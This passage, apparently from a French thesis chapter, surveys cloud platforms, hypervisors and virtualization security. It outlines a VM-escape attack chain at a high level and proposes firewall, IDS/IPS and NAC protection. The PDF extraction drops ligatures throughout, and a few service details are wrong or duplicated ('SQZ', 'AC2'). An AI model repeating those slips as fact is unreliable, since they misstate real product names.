• les services mobiles orent à l'utilisateur tout ce dont il a besoin pour dévelop-
per les applications mobiles plus rapidement. Avec ce service, il peut étendre
la puissance de la Salesforce à tous les terminaux. Les développeurs et ana-
lystes conçoivent rapidement des applications mobiles interactives pour con-
necter les clients, les employés, les partenaires et les produits, à tout moment,
ou qu'ils soient sur tout type de terminaux ;

• identité de l'utilisateur permet aux développeurs et analystes de concevoir


rapidement des applications mobiles interactives pour connecter les clients,
vos employés, les partenaires et les produits de l'entreprise, à tout moment,
ou qu'ils soient et sur tout type de terminaux ;

• chatter permet d'ajouter des ux d'informations de type "réseaux sociaux" à


chacune des applications de l'entreprise pour interagir avec ses clients et con-
necter ses employés. Avec chatter au coeur de la Plateforme Salesforce, non
seulement tous les utilisateurs sont connectés, mais aussi chaque objet métier,
chaque page et chaque application ;

• développer en quelques clics permet de concevoir des applications par un simple


glisser-déposer, elle permet de créer des schémas de base de données, automa-
tiser des workows, des processus métiers, etc. ;

• développement multi-langue ore une large gamme de logiciels de programma-


tion en accès illimité .

2. Amazon

Amazon Web services ore une plateforme d'informatique en nuage exible, évolu-
tive et à coût peu élevé pour des entreprises de toutes tailles à travers le monde.
AWS donne accès à une plateforme technologique able sécurisée. Les avantages de
l'utilisation de cette plateforme sont les suivants :

• paiement à l'utilisation : au-delà du niveau d'utilisation gratuit d'AWS, on


paie seulement pour les ressources utilisées. Il n'y a pas de contrat à long
terme ou d'engagement initial ;
• évolutif : utilisation des ressources en fonction du besoin ;
• exible : augmentation du parc informatique sans avoir recours à l'achat
d'infrastructure ;
• simplicité d'utilisation.

152
Les diérents services proposés par la plateforme Amazone sont les suivants :

• Amazon Elastic Compute Cloud (EC2) fournit des serveurs virtuels évolutifs
utilisant Xen ;
• Amazon Elastic Block Store (EBS) fournit un niveau de blocs persistants pour
les volumes de stockage EC2 ;
• Amazon Simple Storage Service (S3) fournit un stockage basé sur les services
Web ;
• Amazon Glacier fournit un stockage basé sur les services Web. Ce service est
moins dispendieux qu'Amazon S3 et est destiné aux données auxquelles on
accède rarement ;
• Amazon Simple Queue Service (SQZ), fournit une le de messages hébergé
pour les applications Web ;
• Amazon Simple Email Service (SES), service d'envoi en nombre et transac-
tionnel d'emails ;
• Amazon Mechanical Turk (MTURK), gérant des petites unités de travail dis-
tribué à de nombreuse ;
• Alexa Web Services, fournit des données de trac, des vignettes et d'autres
informations à propos des sites Web ;
• Amazon Associates Web Service, fournit un accès aux données produit d'Amazon
et des données de commerce électronique ;
• Amazon Simple DB permet aux développeurs d'exécuter des requêtes sur des
données structurées, il fonctionne de pair avec AC2 et S3 pour nir les fonc-
tionnalités d'un noyau de base de données ;
• Amazon AWS Authentication est un service implicite, l'infrastructure d'authentication
utilisé pour authentier l'accès aux diérents services ;
• Amazon CloudFront fournit un Content Delivery Network (CDN) pour dis-
tribuer des objets stockés sur S3 vers un emplacement proche de l'appelant
;
• AWS Management Console (AWS Console), est une interface "point and click"
basé sur le Web pour gérer et surveiller les infrastructures Amazon, incluant
EC2, EBS S3, SQS.

153
3. La plateforme Windows Azure de Microsoft

Microsoft Azure est une plateforme Cloud ouverte et exible qui permet de créer,
déployer et gérer rapidement des applications, données et des services (Workow,
stockage et synchronisation des données, bus de message, contact, etc.) à travers
un réseau mondial de centre de données administrées par Microsoft.

La plateforme Azure de Microsoft correspond aux ores d'informatique en nuage


de type IAAS, PAAS, SAAS.

Aussi Azure ore un contrat SLA mensuel assurant une connectivité à 99,95 % du
temps, et permet de créer et d'exécuter des applications hautement disponibles sans
que avoir à se préoccuper de l'infrastructure. Il fournit une mise à jour corrective
automatique du système d'exploitation et des services, un équilibrage de la charge
réseau intégré et une résilience aux défaillances matérielles. Il prend en charge un
modèle de déploiement qui permet de mettre à niveau l'application sans coupure
de service. Les diérents services oerts par Microsoft Azure :

• service de calcul qui permet la création de machines virtuelles, sites Web,


services mobiles, services de Cloud Computing ;
• service de données qui permet de faire du stockage de données, crée des bases
de données SQL, HDInsight, cache, sauvegarde, récupération de site ;
• services d'application qui ore les services de média, bus, concentrateur de
notication, planicateur, services Biztalk, visual studio online, et l'annuaire
Active Directory ;
• authentication multifacteur, Automatisation, CDN, gestion des API , Re-
moteAPP d'Azure ;
• services réseaux qui sont expressRoute, réseau virtuel, trac manager.

4. La plateforme Manjrasoft-Aneka

Aneka est une plate-forme et un cadre de développement d'applications distribuées


sur le Cloud. Il fournit aux développeurs un riche ensemble d'API pour exploiter
ces ressources de manière transparentes et en exprimant la logique métier des ap-
plications.

Le Cloud Computing basé sur Aneka est une collection de ressources physiques
et virtuels connectés via un réseau, qui sont soit l'Internet ou un intanet privé.
Une des principales caractéristiques de Aneka est la capacité de fournir diérents
moyens pour exprimer des applications distribuées en proposant des modèles de
programmation diérents; Les services d'exécution sont principalement concernés

154
par la fourniture du middleware avec une mise en oeuvre pour ces modèles.

Des services supplémentaires tels que la persistance et la sécurité sont transversales


à l'ensemble de la pile de services qui sont hébergés par le conteneur.

Au niveau de l'application, un ensemble de diérents composants et outils sont


fournis pour :

• simplier le développement d'applications (SDK) ;


• le portage.

5. Google App Engine

Google App Engine est une plateforme de conception et d'hébergement d'applications


Web basée sur les serveurs de Google. Les diérents services sont :

• Memcache : correspond à cache au-dessus de la base de données ;


• URL Fetch : permet de faire des requêtes HTTP/HTTPS sur un autre serveur
;
• Email : permet d'envoyer et de recevoir des emails ;
• Images : permet de manipuler des images (rotation, dimension etc.) ;
• Google Accounts : permet d'utiliser les comptes Google pour des identications
au sein d'une application ;
• XMPP : Permet d'envoyer et recevoir des messages au format XMPP (utilisé
dans Google Talk) ;
• Task Queues : permet de mettre des tâches de fond en le d'attente ;
• Cron : il est possible de planier des tâches à exécuter de manière récurrente
pour, par exemple, envoyer une newsletter chaque mois ;
• Channel API : permet de créer une communication entre navigateur et serveur
;
• Backends: permet de créer des instances permanentes d'une application avec
un accès à plus de mémoire ;
• Pull Queues: Comme les Task Queues mais l'application choisit des tâches
dans la queue pour les exécuter (au lieu d'être servie).

Les services Google App Engine de base sont gratuits, mais est soumis à des quotas.
Il est possible d'acheter un quota plus large pour chaque service.

155
5.3 Virtualisation comme infrastructure du Cloud Com-
puting
La virtualisation est un ensemble de techniques visant à faire fonctionner plusieurs sys-
tèmes d'exploitation sur un même matériel, elle permet de partager des ressources comme
l'espace disk, la RAM, le CPU, les cartes réseau, la bande passante et autres ressources
mutualisées.

5.3.1 Concept général de la virtualisation


La mutualisation des ressources est assurée par un logiciel appelé hyperviseur. Il existe
deux types d'hyperviseurs, type 1 et type 2 .

• Hyperviseur de type 1

Il s'agit d'un logiciel qui s'exécute directement sur une plateforme hardware. Il
permet aux systèmes d'exploitation invités de rester relativement près du matériel
et donc de conserver des performances proches d'un système de manière native.

Actuellement, c'est la méthode de virtualisation d'infrastructure la plus performante


mais elle a pour inconvénient d'être contraignante et onéreuse, bien que permettant
plus de exibilité dans le cas de la virtualisation d'un centre de traitement infor-
matique.

Exemple :

 VMware ESX et VMware ESXi : peuvent être déployés en tant que composants
de la plate-forme.

 Microsoft Hyper-V Server : c'est un système de virtualisation basé sur un hy-


perviseur 64 bit de la version Windows server 2008; Lors de l'installation de
Windows Server 2008, on a le choix entre deux modes de conguration, Server
Core ou l'installation complète.

L'installation complète installe complètement le système d'exploitation Win-


dows Server 2008. Cette installation inclut l'ensemble de l'interface utilisateur
et prend en charge tous les rôles de serveur, il faut juste rajouter le rôle Hyper-
V pour la virtualisation.

 VMware vSphere ou de la suite de produits VMware View, dans le but d'une


gestion centralisée des applications du Datacenter, des postes de travail de
l'entreprise, et d'une meilleure qualité de service, ils orent les avantages suiv-
ants :

156
∗ consolidation des serveurs de production ;
∗ Protection avancée et à moindre coût par la continuité d'activité.

Egalement disponible en téléchargement pour créer, gérer des machines virtuelles


et déplorable sous forme de solution de virtualisation sur serveur autonome.

• Hyperviseur de type 2

Il s'agit d'un logiciel généralement assez lourd qui s'exécute à l'intérieur d'un sys-
tème d'exploitation. Ce logiciel permet de lancer un ou plusieurs OS invités. La
machine virtualise le matériel pour les OS invités, ces derniers croient dialoguer
directement avec le matériel.

Les systèmes invités devront donc traverser deux couches logicielles avant d'accéder
au hardware. Les performances en sont donc considérablement réduites par rapport
à la virtualisation, mais la facilité d'installation et de conguration de ce type de
système de virtualisation représente un grand avantage.

Les échanges entre les machines se font via les canaux standards de communication
entre systèmes d'exploitation (TCP/IP et autres protocoles réseau), un tampon
d'échange permet d'émuler des cartes réseaux virtuelles sur une seule carte réseau
réelle.

Exemple :

 Microsoft VirtualPC
 Microsoft VirtualServer
 Oracle VM VirtualBox (libre)
 VMware Player
 VMware Worksation

En pratique, la virtualisation donne lieu aux composantes suivantes :

• Hyperviseur :
C'est une plate-forme de virtualisation qui permet à plusieurs systèmes d'exploitation
de travailler sur une machine physique en même temps.

• VM :
Invité ou "guest", matérialisé par le système d'exploitation virtualisé.

157
• vSwitch :
le commutateur virtuel permettant de relier les machines virtuelles VMs.

• vNic :
L'interface réseau virtuelle d'une machine virtuelle VM.

Ces composantes s'interconnectent comme le montre la gure 5.3.1 pour une plateforme
ESXI de VMware.

Figure 5.3.1: Vue fonctionnelle d'une plateforme ESXI de VMware

5.3.2 Techniques de virtualisation


Le cloud repose sur une technologie incontournable qui est la virtualisation et qu'on dé-
taillera ci-après.

Diérentes techniques de virtualisation existent, parmi elles :

158
• l'isolation : est une technique permettant d'isoler l'exécution des applications dans
des contextes ou zones d'exécution; Les applications peuvent alors tourner dans un
mode multi instance même si elles ne sont pas conçues pour ceci, comme le cas de
plusieurs serveurs Apaches ou Nginx qui écoutent sur le même port 80 ;

l'avantage de cette solution est qu'elle est très performante, car elle ne consiste
pas réellement à virtualiser les systèmes d'exploitation, mais plutôt d'isoler les ap-
plications ou les ressources (système de chiers, espaces mémoire, etc.). Elle est
uniquement liée aux systèmes Unix et il n'est pas possible d'utiliser des noyaux
diérents. Un exemple des plus basiques est la commande Unix chroot pour isoler
le répertoire racine d'un processus ;

• les machines virtuelles complètes ou partielles : les machines virtuelles com-


plètes ont une simulation presque complète du matériel réel, ainsi le système invité
fonctionnera nativement sans nécessité de modications. Cette approche est plutôt
gourmande en ressources et est donc moins performante. Une autre approche pour
les machines virtuelles est la simulation partielle de l'environnement, les systèmes
invités peuvent avoir besoin de modications.

• Hyperviseur (moniteur de machines virtuelles) : face aux inconvénients ren-


contrés par les deux premières solutions, une approche intermédiaire s'est installée
qui consiste à dédier un système hôte qu'on appelle moniteur et qui s'intercale entre
le matériel et les OS invités. Les deux solutions les plus connues sont le projet open
source Xen, et ESX Server de VMware; Si les OS invités fonctionnent en ayant
"conscience" d'être virtualisés c.-à-d. qu'ils peuvent intéragir avec le système hôte
et sont optimisés pour ce fait, on parle alors de para-virtualisation.

La gure 5.3.2 présente une architecture générale d'une plateforme virtuelle.

Comme toute avancée technologique, la virtualisation apporte une réponse novatrice sur
le plan de montée en charge IT et la consommation à la demande des services et infras-
tructure en Cloud. Néanmoins, elle introduit des failles de sécurité que nous explicitons
les plus critiques dans ce chapitre, et nous proposerons ensuite des solutions pour y pallier.

Certes, les bénéces de la virtualisation sont tellement évidents que son adoption est en
rapide et continue expansion, sans autant prendre le temps d'analyser toutes les implica-
tions de sécurité liées à cette technologie.

La cohabitation de plusieurs systèmes d'exploitation sur un seul ordinateur, comme s'ils


fonctionnaient sur des ordinateurs distincts présente de nombreux avantages mais aussi
certains risques évidents de sécurité.

La virtualisation transforme, pour les machines virtuelles, la gestion hardware en gestion


software. Il devient alors possible d'ajouter, par exemple, de la mémoire, de la puissance

159
Figure 5.3.2: Architecture générale d'une plateforme virtuelle

CPU, une carte réseau ou de l'espace disque à un serveur fonctionnant dans une machine
virtuelle sans devoir intervenir physiquement sur le serveur. Une fois les serveurs hôtes
physiquement connectés aux réseaux, aux baies de stockage, aucune opération de con-
nexion supplémentaire n'est nécessaire, ce qui réduit d'autant les besoins de câblage et
simplie les branchements. Mettre à disposition un nouveau serveur pour l'installation
de nouvelles applications ne demande donc pas trop de temps.

Dès lors que l'infrastructure de virtualisation est correctement dimensionnée et qu'elle


s'appuie sur diérents serveurs physiques, la mise à jour des serveurs physiques (drivers
ou composants de la solution de virtualisation eux-mêmes) s'eectue très simplement, ce
qui garantit une haute disponibilité des services supportés par ces serveurs.

Les VM sont indépendantes du hardware sur lequel elles s'exécutent et transforment un


serveur en un ensemble de chiers. Aussi, la gestion des Plans de Continuité d'Activité
se trouve grandement simpliée. Le redémarrage sur un site distant des serveurs ne fonc-
tionnant plus à la suite de la destruction d'un Datacenter ou de son isolation sur le réseau
est simple. La mise en service d'un nouveau serveur pour l'installation de nouvelles ap-
plications devient rapide. Accompagner la montée en charge d'un nouveau service est
simpliée.

Les avantages sont aussi d'ordre nancier car le hardware est optimisé. En eet, dans la
situation "classique" d'un serveur physique qui supporte un serveur "logique", le serveur
physique n'est que très rarement utilisé juste à hauteur de ses capacités. Il est souvent
surdimensionné. Dans le cas contraire, il serait tôt ou tard "mis à jour". Les frais de
maintenance, consommation électrique et climatisation, tout comme la place occupée par
les matériels dans le Datacenter, sont donc optimisés.

160
5.4 Enjeux de sécurité de la virtualisation et du cloud
Après avoir détaillé la technologie Cloud et celle de la virtualisation, nous consacrons
cette section à la sécurité de ces deux technologies.

5.4.1 Sécurité du Cloud Computing


Dans la suite, nous expliciterons quelques problèmes de sécurité par modèle de dé-
ploiement cloud (PaaS, SaaS ou IaaS).

Selon le modèle adopté par le client du cloud, les clauses de son SLA (Service Level
Agreements) avec le fournisseur, on peut dégager les dés de sécurité qui s'imposent et
qui sont listés dans le tableau suivant (voir la gure 5.4.1).

Figure 5.4.1: Dés de sécurité pour chaque modèle du Cloud Computing

Pour aborder la notion de protection des données dans le Cloud, il est important de la
relier d'abord aux enjeux des Métiers. Cette réexion sur l'analyse du risque encouru
peut ainsi se structurer à partir de la question "quel Cloud pour quel usage ?". Il s'agit
donc de déterminer le niveau de protection nécessaire aux données hébergées, quelle que
soit leur localisation, et de choisir l'ore la plus adaptée à l'usage souhaité.

Le Cloud computing est particulièrement exposé à des menaces et vulnérabilités pouvant


être de natures variées. Nous présentons les principales caractéristiques des attaques,
menaces et vulnérabilités présentes dans le Cloud.

161
En eet, tout acteur du Cloud est un attaquant potentiel en principe; Il existe de nom-
breux rôles possibles dans le cloud. Celui-ci étant aussi un modèle économique, certains
rôles sont des fonctions à tendance plus économique (liée aux notions de service, client et
fournisseur).

La gure 5.4.2 montre la surface d'attaques du Cloud.

Figure 5.4.2: Surface d'attaque du Cloud

Cette surface d'attaque augmente selon l'axe SaaS, PaaS, IaaS, puisque le nombre de
ressources mises à disposition de l'utilisateur augmente.

Cloud Security Alliance (CSA) a déni sept grandes classes de menaces pour le cloud :

• Abus et usage néfaste du cloud ;

• APIs et interfaces non sécurisées ;

• Malveillance interne ;

• Problèmes liés aux technologies de partage ;

• Perte ou fuite de données ;

• Détournement de compte ou de service ;

• Prol de risque inconnu.

Le Cloud fonctionne selon le modèle client-serveur classique. L'utilisateur du cloud utilise


un client léger ou simplement HTTPS pour accéder aux ressources Cloud auxquelles il
est autorisé.

Pratiquement tous les types d'exploits réseaux et applicatifs peuvent être testés à ce point.

L'attaquant peut cibler (voir la gure 5.4.3) :

• le client cloud en exploitant les failles présentes sur sa machine et sa session Cloud
;

• le tunnel VPN, en général, un tunnel SSL reliant l'utilisateur à son service Cloud.

162
Figure 5.4.3: Diérentes cibles d'un attaquant

• la plateforme cloud quand celle-ci présente des failles.

D'une manière générale, on peut dire qu'un exploit transforme l'accès illégitime à un
accès légitime.

La sécurité du cloud devient de plus en plus préoccupante autant pour les fournisseurs que
pour les utilisateurs. Des mécanismes de sécurité réseau sont déployés pour protéger les
données hébergées dans les infrastructures virtuelles. Les pare-feux sont responsables du
ltrage de paquets an de contrôler l'accès réseau. Les systèmes de détection d'intrusion
sont en charge de détecter les attaques survenant sur les canaux de communication, de
prévenir et de détecter les attaques sans perturber le bon fonctionnement du cloud.

Rendre les pare-feux et systèmes de détection d'intrusion ecaces conjointement n'est pas
une tâche aisée. En eet, les produits déployés doivent être maintenus à jour, correcte-
ment congurés et soigneusement positionnés sur le réseau. En plus, les environnements
cloud évoluent constamment au cours du temps. Les clients peuvent ajouter ou sup-
primer des instances de machines virtuelles et des réseaux ou modier des congurations;
De nouveaux clients peuvent souscrire à des services et créer de nouvelles infrastructures;
Cette dynamique peut avoir des impacts négatifs sur la sécurité du cloud. Par conséquent,
il est important de surveiller et d'analyser régulièrement le niveau de sécurité réseau des
infrastructures cloud, dans la perspective d'adapter et d'améliorer les mesures de sécurité
mises en place. Ces mesures sécuritaires vont bien sûr dépendre du type de cloud.

5.4.2 Sécurité de la plateforme virtuelle


L'objectif de cette partie est de faire la transposition de la sécurité en environnement
physique vers l'environnement virtuel, dans la mesure d'appliquer les mêmes proposi-

163
tions d'amélioration de la sécurité, déduites des chapitres précédents sur l'environnement
virtuel et Cloud.

L'utilisation d'un environnement virtuel et mutualisé impose l'utilisation d'une certaine


terminologie liée à cette technologie qu'on va essayer d'introduire au fur et à mesure dans
ce qui suit.

Le premier concept à dénir pour la connectivité réseau est l'interface réseau de la VM


et le commutateur virtuel auquel elle est connectée : vNIC et vSwitch comme on peut le
constater sur la gure 5.4.4 suivante.

Figure 5.4.4: Concepts de vNIC et vSwitch

A ce niveau, il est clair que l'hyperviseur serait une cible privilégiée des attaquants.

En eet, en environnement virtualisé, l'hyperviseur joue un rôle fondamental dans l'architecture


virtuelle. Tout le trac réseau à partir et vers les "vNIC" qui sont les interfaces virtuelles
des VMs passent par les interfaces physiques NIC de l'hyperviseur après avoir quitté les
commutateurs virtuels "vSwitch".

Pratiquement toutes les attaques de type réseaux peuvent être tentées contre l'hyperviseur,
et surtout celles évoquées dans les chapitres précédents à commencer par les couches
basses "Attaques ARP".

Ajouter à cela certaines failles de la couche de virtualisation et des services associés ou


composants annexes, peuvent se traduire par des risques d'élévation de privilèges au sein
des serveurs hôtes. Les fonctionnalités d'administration des VM, pourraient être sources
de vulnérabilités en favorisant des évasions et des élévations de privilèges au sein des VM.

164
• Suivi des performances et du service
Il est possible pour un programme malicieux d'aecter la charge d'une machine
virtuelle et d'impacter l'ensemble des performances des diérentes machines.

• Indisponibilité des serveurs


Le principe de la virtualisation est de mutualiser un serveur physique pour faire
fonctionner plusieurs serveurs réels, dans le sens qu'ils supportent des applications
et/ou des services bien réels, s'exécutant au sein de machines virtuelles supportées
par ce serveur physique. L'indisponibilité du serveur physique provoque de ce fait
l'indisponibilité de l'ensemble des serveurs supportés et donc des services et appli-
cations associés.

• Ouverture de l'espace de stockage des VM


Dès lors que des serveurs physiques supportent les mêmes machines virtuelles (en
particulier pour gérer la haute disponibilité en cas de panne hardware), il est néces-
saire qu'ils accèdent au même espace de stockage. Plus on souhaite mutualiser (et
donc optimiser) l'usage de serveurs physiques, plus on doit ouvrir l'accès à l'espace
de stockage de ces VM.

Prise de contrôle du système par l'hôte


Un programme exécuté sur une machine hôte peut eectuer des actions sur le sys-
tème lui-même, voire en prendre le contrôle. Ce type de vulnérabilité est partic-
ulièrement critique.

Quelques conseils pour réduire les risques liés à la virtualisation


L'entreprise est amenée à respecter certaines règles. Elle doit déterminer les services
à virtualiser en intégrant dans sa réexion, l'analyse des risques pour chaque applica-
tion et chaque service concerné et l'interdépendance avec l'infrastructure existante.
Il lui faut aussi mesurer l'impact d'un dysfonctionnement ou de l'arrêt du serveur
hôte. L'intégration et l'administration des serveurs hôtes dans l'infrastructure
sécurisée existante est une sage précaution et la mise en place d'un processus de
surveillance de type "sécurité système et applicative" une impérieuse nécessité.

Etablir une politique des privilèges, dénir les processus et rédiger les procédures
sont des actions indispensables. Il faut aussi informer et former le personnel.
L'entreprise doit rester vigilante.

• Sécurité des accès


Pour faire dialoguer deux serveurs réels, il faut préalablement réaliser des opéra-
tions physiques sur les serveurs. On les connecte physiquement à l'aide de câbles
réseaux, classiquement par l'intermédiaire de commutateurs. De même, l'ajout

165
d'une carte réseau nécessite d'accéder physiquement au serveur et de la placer dans
le châssis. Avec la virtualisation, ces opérations sont faites à distance et de manière
logicielle. Le fait qu'il soit beaucoup plus facile (et c'est un véritable atout pour
l'administration) d'établir une connectivité entre des VM qu'entre des serveurs
physiques, présente un risque supplémentaire en cas d'erreur ou de malveillance
de conguration.

Il ne faut pas négliger l'aspect critique des serveurs de virtualisation. Toute per-
sonne non autorisée qui obtient l'accès au serveur peut copier des informations
sensibles d'une infrastructure. La console est une machine virtuelle, particulière-
ment sensible puisque les opérations exécutées peuvent impacter l'ensemble des VM
supportées. Il est donc indispensable d'en contrôler parfaitement les accès. Des ac-
cès illicites seraient lourds de conséquences!

Par ailleurs, des utilisateurs mal intentionnés ou maladroits peuvent, perturber et


interrompre le service, voire modier certains paramètres de conguration. Les
atouts véritables de l'administration d'une infrastructure complexe formée de nom-
breux serveurs du fait de la virtualisation, peuvent se retourner et présenter des
risques, si les administrateurs (légitimes ou illégitimes) ont des droits trop impor-
tants sur l'ensemble de l'infrastructure. Un administrateur ayant tous les droits sur
l'infrastructure de virtualisation pourrait par exemple, en quelques cliques, stopper
des VM. Ce qui reviendrait à couper l'alimentation d'une partie d'un Datacenter!
Il lui serait aussi possible de supprimer purement et simplement, tout ou partie des
VM. Ce qui reviendrait à détruire des serveurs physiques et les données associées!

Pour faire une synthèse technique de la surface d'attaque du cloud, on peut sans trop
exagérer la confondre avec celle de la plateforme virtuelle qui sert pour héberger les ser-
vices cloud. Ainsi, les failles principales dont sourent les plateformes virtuelles peuvent
êtres scindées en deux types :

• failles relatives à l'hyperviseur ;

• Failles au niveau de l'isolation Hyperviseur  VM "VM Escape".

Dans la suite, nous détaillons ces deux surfaces d'attaques, présenter quelques exploits
en spéciant leur vecteurs d'attaques, et proposer les contremesures pour réduire ces sur-
faces d'attaques et rendre les services Cloud plus réactifs à ce type de menaces.

En principe, l'hyperviseur doit utiliser une interface réseau dédiée pour le management
et le reste des interfaces pour traiter le trac des VMs, comme on peut le remarquer sur
la gure 5.4.5.

166
Figure 5.4.5: Hyperviseur accessible via l'interface NIC2 (réseau de management dédié)

En lançant un scan NMAP sur l'interface de management d'un hyperviseur, on con-


state qu'il présente une surface d'attaque considérable sur les protocoles et les services
qu'il supporte. De même, en lançant un scan Nmap sur l'interface de management, un
attaquant peut avoir des informations pour construire son attaque .
Ces failles peuvent être exploitées par les moyens classiques de hacking tel que metasploit.
Un autre scénario serait de mettre une VM illicite sur la plateforme ESXI. Cette VM va
tenter ensuite d'exploiter des failles via l'interface de programmation.

Des attaques récentes ont montré que la principale menace face à l'isolation des hyper-
viseurs provient des pilotes de périphériques défectueux ou malicieux.

Pour tenter de résoudre ce problème, plusieurs techniques ont été proposées. Par exem-
ple, la virtualisation des pilotes permet une isolation forte, mais ne prend pas en compte
la protection de la couche de virtualisation sous-jacente.

Les architectures de type "trusted computing" délivrent de fortes garanties vis à vis de
l'intégrité du code. Malheureusement, elles ne détectent que les violations d'intégrité,
et ne peuvent pas remettre le système dans un état sain. La vérication d'intégrité est
généralement statique vue qu'une surveillance dynamique du système tout entier durant
son fonctionnement deviendrait dicile à mettre en oeuvre.

Les politiques de sécurité sont souvent dénies en dur dans le mécanisme d'interception.
Il est donc dicile de mettre en place des stratégies de protection dynamique, vue qu'elles
doivent être congurées et mises à jour manuellement.

Pour réduire encore plus la surface d'attaque, de nouvelles architectures d'hyperviseurs à


base de composants sont apparues. Mais elles nécessitent une réécriture de code poussée,
les rendant dicile à appliquer sur les hyperviseurs les plus répandus. Dans l'ensemble,
les architectures d'hyperviseurs actuelles n'orent pas - ou peu - de protection pour la
couche de virtualisation. Les tentatives précédentes sourent de :

• politiques statiques, diciles à gérer et à implémentér dans les mécanismes de


protection ;

• peu de mécanismes de réparation face aux menaces.

167
L'attaquant a un contrôle arbitraire des machines virtuelles. Nous supposons que les pé-
riphériques physiques sont inaltérables, et que l'intégrité de la séquence de démarrage de
l'hyperviseur est vériée. Cependant, un pilote de périphérique peut être défectueux, et
peut donc être traqué pour exploiter une vulnérabilité dans le VMM (Virtual Machine
Manager).

Une attaque par rebond depuis une VM serait :

1. rompre l'isolation de la VM grâce à un bug de pilote ;

2. altérer et saboter le pilote ;

3. compromettre d'autres parties du VMMs ainsi que les VMs co-localisées.

Une telle exploitation peut conduire à l'injection d'un rootkit et la récupération des com-
munications inter VMs.

5.4.3 Proposition d'amélioration de la sécurité d'architecture virtuelle


Nous proposons d'adopter le mécanisme d'intégration IF-MAP, déjà explicité au chapitre
3, pour concevoir un écosystème de sécurité hybride qui intègre aussi bien l'infrastructure
classique que virtuelle. Cette intégration permet d'analyser et d'évaluer la sécurité des
infrastructures Cloud et classiques.

Une telle méthode s'inscrit dans un processus quasi automatisé pour parvenir à répondre
en temps réel aux intrusions en environnement dynamique fondé sur les services.

A ce jour, ce problème reste ouvert et on est en attente d'une solution satisfaisante pour
l'évaluation et l'analyse automatisées de la sécurité réseau dans le cloud en temps réel.

1. Plateforme "Pare-feu & IDS/IPS" adaptée à l'environnement virtuel

La sécurité des opérations informatiques physiques est devenue mature, qu'il s'agisse
de contrôler l'accès physique à un serveur ou un logiciel de gestion des identités,
des règles, des processus.

Des meilleures pratiques ont été établies. Pour ce faire, les logiciels de sécurité ont
évolué an de fournir aux services informatiques les instruments appropriés pour
gérer l'environnement physique.

Outre la gestion des identités, la sécurité des applications, le contrôle d'accès, le


contrôle des informations, la consignation des activités des utilisateurs et le report-
ing, sont autant de solutions qui de nos jours sont utilisées ecacement.

168
Par exemple, dans un environnement classique, on peut sonder le trac relatif à
une zone réseau par envoyer le trac des ports correspondants de la zone sur une
sonde (par le mécanisme de port-mirroring ou l'usage d'un équipement dédié appelé
"TAP".

Figure 5.4.6: IDS en environnement physique

Cette maturité n'est pas encore au point pour l'environnement virtuel, le commu-
tateur virtuel "vSwitch" permet la communication inter-VM sans contrôle. Néan-
moins, nous allons redresser cette situation de la manière suivante :

(a) Protéger l'hyperviseur des attaques réseaux et applicatifs par le moyen du re-
wall et le système IDS/IPS, et l'intégration avec la solution NAC ;

(b) Cloisonnement des machines virtuelles VMs, en utilisant un pare-feu de type


virtuel, et une sonde IDS/IPS dédiée pour l'environnement virtuel de préférence
compatible avec la solution de sécurité classique (environnement physique).

Pour illustrer notre proposition, nous avons opté pour l'environnement virtuel
VMware (ESXI, l'ore gratuite) comme le montre la gure 5.4.7.

En eet, l'hyperviseur "ESXI" ou VMM qui est le composant critique dans notre
cas est protégé par une plateforme de sécurité classique de l'infrastructure Pare-feu
et un système de détection prévention d'intrusion IDS/IPS c.-à-d. que toutes les
interfaces physiques de l'ESXI sont connectées à l'IDS/IPS et non pas directement
au commutateur physique.

169
Figure 5.4.7: Protection d'ESXi par une plateforme "Pare-feu & IDS/IPS

La solution NAC protège l'hyperviseur des attaques niveau 2, tandis que le Pare-feu
et l'IPS le protègent des attaques réseau et applicatifs.

2. Intégration de l'environnement virtuel au NAC

Pour avoir de la visibilité au sein de l'environnement virtuel, nous proposons d'intégrer


la plateforme virtuelle à la solution NAC en utilisant le protocole IF-MAP (voir
chapitre 3). En eet, pour que le serveur NAC puisse contrôler les commutateurs
virtuels "vSwitchs" il faut que l'ESXI soit compatible IF-MAP (doté d'un plug-in
IF-MAP ou avoir un convertisseur SNMPIF-MAP).

La gure 5.4.8 montre un exemple d'intégration de l'enviromment virtuel à base de


VMware ESX au contrôle d'accès NAC.

Et d'une façon générale, ce type d'intégration peut être illustré par la gure 5.4.9.

En intégrant la sécurité de la plateforme physique et virtuelle en utilisant le pro-


tocole évoqué au troisième chapitre "IF-MAP", on obtient l'architecture présentée
sur la gure 5.4.10.

De cette manière, on aura une visibilité plus claire sur la sécurité indépendam-
ment de l'environnement. En eet, l'échange des évènements de sécurité ainsi que
l'application des ajustements au niveau des sondes (Fw/IDS/IDS et commutateurs)

170
Figure 5.4.8: Intégration de l'enviromment virtuel VMware ESX au NAC

Figure 5.4.9: Intégration d'un enviromment virtuel au NAC

Figure 5.4.10: Protection NAC des environnements virtuel et physique

171
physiques et virtuelles seront faits d'une manière indépendante de leur source.

A noter que pour plus de sécurité, il y a une piste supplémentaire à explorer et qui consiste
en ce qui suit : Le Trusted Computing Group [52] qu'on a évoqué précédemment pour
l'IF-MAP, propose une norme pour la conception d'une puce sécurisée TPM (Trusted
Platform Module) qui contient une clé privée qui identie le module TPM et donc l'hôte
physique. L'objectif est de sécuriser le transfert et le stockage : chirement des données
dans le Cloud.

Il est nécessaire de diérencier, dans ce contexte, entre les données statiques et celles en
mouvement. En eet, la pratique du chirement des données statiques est diérente de
l'utilisation de la cryptographie pour protéger les données en transmission ou en mou-
vement. De ce fait, les clés de chirement doivent être éphémères pour les données en
mouvement, tandis que pour les données statiques, les clés peuvent être conservées aussi
longtemps que les données stockées sont conservées chirées.

Le transfert de données se fait via des moyens programmatiques, par transfert de chier
manuel, ou via un navigateur utilisant le protocole HTTPS, TLS ou SSL qui sont des
protocoles de sécurité utilisés pour ce type de problématique. Une clé PKI est utilisée pour
authentier la transaction, et les algorithmes de chirement sont utilisés pour protéger
les données réelles.

5.5 Conclusion
Le Cloud Computing est une technologie qui permet de déployer et de fournir rapidement
des applications particulièrement évolutives. La sécurité doit être élastique pour pouvoir
poursuivre l'évolution de l'infrastructure, et orir une protection transparente et ce, sans
ralentir les opérations. Pour ce faire, et le long de ce cinquième chapitre, nous avons dé-
taillé l'environnement Cloud et la virtualisation, en faisant un focus sur la sécurité de ces
plateformes. En eet, leur protection repose en grande partie sur le type de provisionning
et l'accès aux ressources pour le cloud et sur l'isolement de l'hyperviseur et des VM pour
la couche adjacente qui est la virtualisation.

Notre objectif était de proposer une plateforme de sécurité mutualisée pour la protection
